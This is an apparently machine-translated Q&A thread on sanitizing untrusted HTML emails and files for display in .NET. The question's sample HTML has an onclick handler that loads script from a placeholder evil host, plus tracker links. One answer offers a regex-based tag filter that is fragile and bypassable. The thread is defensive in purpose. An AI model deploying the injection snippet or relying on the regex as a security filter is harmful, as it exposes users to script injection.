这是一个常见的问题,我希望它已经彻底解决了我。
在我正在为客户端做的系统中,我们希望接受来自不受信任来源的HTML(HTML格式的电子邮件以及HTML文件),清理它以使其没有任何脚本,链接到外部资源,以及其他安全/等。问题;然后安全地显示它,同时不丢失基本格式。例如,就像电子邮件客户端使用HTML格式的电子邮件一样,但理想情况下不会重复在该领域中已经发生的347,821错误(到目前为止)。 : - )
我们的目标是通过我们自己的网络界面中的iframe
或通过.Net Windows窗体应用中的WebBrowser class向内部用户展示我们感觉舒服的内容(似乎不安全,可能不那么安全,等等。例如下面。
我们认识到其中一些可能会破坏文本的显示;没关系。
我们将在接收时清理HTML并存储已清理的版本(不要担心存储部分 - SQL注入等 - 我们已经覆盖了这一点)。< / p>
该软件需要在Windows Server上运行。 COM DLL或.Net程序集首选。 FOSS显然是首选,但不是交易破坏者。
到目前为止我发现了什么:
你会为这项任务推荐什么?以上之一?还有别的吗?
例如,我们想删除以下内容:
script
元素link
,img
以及与外部资源相关的元素(可能会将img
替换为“[图片已删除]”或其他类似文字embed
,object
,applet
,audio
,video
以及其他尝试创建对象的代码onclick
和类似的DOM0事件处理程序脚本代码href
在触发代码的a
元素上(即使是我们认为可以使用的链接,我们也可能会转换为用户必须有意复制并粘贴到浏览器中的明文)。例如,这个HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
会变成
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(注意我们完全删除了link
和onclick
,并用占位符替换了img
。这只是我们需要删除的一小部分内容出。)
答案 0 :(得分:3)
这是一个较旧但仍然相关的问题。
我们正在使用HtmlSanitizer .Net库,其中包含:
同样在NuGet
答案 1 :(得分:2)
我感觉你肯定需要一个可以生成XML / DOM源的解析器,这样你就可以在它上面应用fiter来产生你想要的东西。
查看HtmlTidy或Mozilla或HtmlCleaner解析器是否有帮助。 HtmlCleaner有很多configurable options你可能也想看一下。特别是允许您跳过不需要的标记的transform section。
答案 2 :(得分:1)
我建议查看http://htmlpurifier.org/。他们的图书馆非常完整。
答案 3 :(得分:1)
我建议使用另一种方法。如果您控制查看HTML的方法,我将使用没有ECMA脚本引擎或任何XSS功能的HTML呈现来删除所有威胁。我发现你将使用内置的WebBrowser对象,这是正确的,你想要生成不能用来攻击用户的HTML。
我建议寻找基本的HTML显示引擎。一个无法解析或理解任何会使您易受攻击的脚本功能的人。那么所有的javascript都会被忽略。
这确实有另一个问题。您需要确保您使用的查看器不易受到其他类型的攻击。</ p>
答案 4 :(得分:0)
有趣的问题,我花了一些时间来面对它,因为我们想要从用户输入中删除很多东西,即使我做了很多要删除的东西,后面的HTML也可以发展,我的列表会有一些漏洞。 尽管如此,我希望用户输入一些简单的东西,如粗体,斜体,段落......简单。 毫无疑问,允许的事物列表更短,html可以改变后者,除非html停止支持这些简单的事情,否则不会在我的列表上打洞。 所以开始另外思考,说出你允许的内容,因为我不是正则表达式的专家(因此请一些正则表达式的人在这里纠正我或改进)我甚至在HTML5到达之前编码了这个表达式并且它的工作形式
replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")
(b | i | p | br)&lt; - 这是允许的标签列表,随意添加一些。
这是一个起点,这就是为什么一些正则表达式的人应该改进以删除属性,如onclick
如果我这样做:
(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>
带有onclick或其他内容的标签将被删除,但相应的结束标签将保留,毕竟我们不希望删除这些标签,我们只想删除标签属性。
可能是
的第二个正则表达式传递(?!<[^<>\s]+)\s[^</>]+(?=[/>])
我是对的吗?这可以组成一次通过吗?
我们仍然没有标签之间的关系(打开/关闭),到目前为止没什么大不了的。 可以写入属性remove来删除所有不是白名单吗? (可能是的)。
最后一个问题..当删除脚本等标记时,内容仍然存在,删除字体但不是脚本时是理想的,我们可以用
做第一遍<(script|object|embed)[^>]*>.*</\1>
将删除某些标签及其内容..但它是一个黑名单,这意味着如果html发生变化,你必须密切关注它。
注意:全部使用&#34; gi&#34;
编辑:
在此功能上加入了以上所有内容
String.prototype.sanitizeHTML=function (white,black) {
if (!white) white="b|i|p|br";//allowed tags
if (!black) black="script|object|embed";//complete remove tags
e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
return this.replace(e,"");
}
- 黑名单 - &gt;完成删除标记和内容 - 白名单 - &gt;保留标签 删除其他标签但保留标签内容 白名单标签的所有属性(其余的)都被删除
仍然有一个白色的属性列表(上面没有实现)的地方,因为如果我想保留IMG,那么src必须保持......那么跟踪图像呢?